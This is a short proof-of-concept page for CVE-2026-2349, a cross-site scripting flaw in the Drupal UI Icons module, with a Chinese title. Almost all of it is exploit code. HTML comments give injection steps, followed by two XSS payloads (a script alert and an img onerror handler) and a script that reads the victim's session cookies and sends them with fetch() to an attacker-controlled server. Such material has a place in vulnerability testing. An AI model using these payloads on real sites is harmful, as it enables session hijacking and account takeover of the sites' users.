CVE-2026-2349 Drupal UI Icons跨站脚本漏洞

<!-- Proof of Concept for CVE-2026-2349 --> <!-- Target: Drupal UI Icons Module --> <!-- Step 1: Identify the vulnerable parameter (e.g., icon pack or label) --> <!-- Step 2: Inject a malicious payload --> <!-- Example Payload to be injected in the vulnerable field --> "><script>alert('CVE-2026-2349 XSS');</script> <!-- Or using an event handler --> <img src=x onerror=alert(1)> <!-- JavaScript code that would run if the vulnerability is exploited --> <script> console.log("XSS Triggered"); // Example: Stealing session cookies var cookies = document.cookie; var attackerUrl = "http://attacker-controlled-server/log?c=" + encodeURIComponent(cookies); fetch(attackerUrl); </script>